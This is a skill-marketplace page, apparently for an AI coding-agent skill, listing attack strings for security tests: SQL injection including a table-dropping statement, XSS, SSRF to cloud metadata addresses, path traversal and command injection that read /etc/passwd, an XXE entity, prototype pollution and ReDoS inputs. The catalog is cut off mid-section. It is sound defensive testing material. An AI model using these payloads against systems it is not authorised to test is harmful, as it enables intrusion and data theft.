malicious-payload-bank
БесплатноБез исполняемых скриптовНе проверенUse when writing negative tests for input validation, fuzz targets or security tests that need real attack strings: SQL injection, XSS, SSRF, path traversal…
от testland★ 18 звёзд на GitHubОб этом скилле
malicious-payload-bank
Terminology note: The payload classes here are practitioner-emergent and align with the OWASP Top 10 (owasp-top-10) and CWE Top 25 (cwe-top-25) - both authoritative industry sources. ISTQB has no canonical entry for "malicious payload"; the closest formal term is "security testing."
A reference catalog of adversarial inputs to use when authoring negative tests, security tests, or fuzz targets. This is a defensive skill - for testing your own application's input validation, not for unauthorized testing of others' systems.
When to use
- Writing negative-test cases for an input validator
(per
negative-test-generator). - Authoring a security-focused test suite.
- Generating inputs for a fuzz target (Schemathesis, RESTler, AFL).
- Reviewing input-handling code with adversarial intent in mind.
Payload classes
SQL Injection (CWE-89)
Apply to: any input that flows into a SQL query (URL params, form fields, headers, cookies).
' # syntactic break
' OR '1'='1 # always-true
' OR '1'='1' -- # comment terminator
'; DROP TABLE users; -- # stacked statement
' UNION SELECT NULL, version() -- # information disclosure via UNION
admin'-- # bypass auth via comment
Modern context: parameterized queries / ORM eliminate most SQLi; the payload bank verifies your input still flows through parameterization (no string concatenation slipped in).
Cross-Site Scripting (CWE-79)
Apply to: any input that may be rendered to HTML (display name, comment text, URL params reflected on the page, error messages).
<script>alert(1)</script>
"><script>alert(1)</script>
javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'-alert(1)-' # context-break in JS string
Test contexts: HTML body, HTML attribute, JS string, URL, CSS. Each has a different escape requirement; the payloads exercise each.
Server-Side Request Forgery (CWE-918)
Apply to: any input that becomes an outbound URL (image fetch, webhook, OAuth callback, link preview).
http://169.254.169.254/latest/meta-data/ # AWS instance metadata
http://metadata.google.internal/ # GCP metadata
http://localhost:6379/ # Redis (no auth in many setups)
file:///etc/passwd # local file read
gopher://localhost:6379/_*1%0d%0aSET%20test%20pwn%0d%0a # protocol smuggling
Test: does the application fetch arbitrary user-supplied URLs without an allowlist? Does it follow redirects to internal hosts?
Path Traversal (CWE-22)
Apply to: any input that becomes a file path (file uploads, template names, image paths, log file selection).
../etc/passwd
..%2fetc%2fpasswd # URL-encoded ..
....//etc/passwd # double-dot bypass for naive filters
%2e%2e/etc/passwd # full URL-encoded
..\..\..\..\windows\win.ini # Windows
%c0%ae%c0%ae/etc/passwd # over-long UTF-8 bypass
Command Injection (CWE-78)
Apply to: any input that flows into a shell command, backticks,
exec / system / popen.
; ls
| ls
&& cat /etc/passwd
` cat /etc/passwd `
$(cat /etc/passwd)
%0a cat /etc/passwd # newline-injection
XML External Entity (CWE-611)
Apply to: any input that's parsed as XML (SOAP endpoints, SVG upload, XML config import).
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
Prototype Pollution (CWE-1321)
Apply to: any JS / Node.js input that flows into object merge
(query-string parsers, body parsers, lodash _.merge, Object spread).
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
ReDoS - Regex Denial of Service (CWE-1333)
Apply to: any regex with backtracking applied to user input.
aaaaaaaaaaaaaaaaaaaaaaaa! # for /^(a+)+$/
aaaaaaaaaaaaaaaaaaaaaaaa@aaaaaa # for typical email regexes
Test: does the regex complete in linear time on adversarial
input? Tooling like safe-regex (Node) or re2 (Google's
linear-time regex engine) eliminates this class.
Unicode Confusables / Homoglyph
Apply to: any input that's compared for equality, used as a display name, or used in security boundaries (admin checks, domain validation).
аdmin # Cyrillic 'а' (U+0430), not Latin 'a' (U+0061)
gооgle.com # Cyrillic 'о' in google
"Admin" # NFKC-normalized variant
ff # ligature for 'ff'
The CLDR / Unicode Consortium maintains the canonical confusables list.
HTTP Header Injection (CWE-93)
Apply to: any input that flows i
Установить malicious-payload-bank в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
Вложенные файлы
FAQ
Что делает скилл malicious-payload-bank?
Use when writing negative tests for input validation, fuzz targets or security tests that need real attack strings: SQL injection, XSS, SSRF, path traversal, command injection, XXE, prototype pollution, ReDoS, Unicode confusables and header injection, with which payloads fit each input context.
Как установить скилл malicious-payload-bank?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл malicious-payload-bank запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic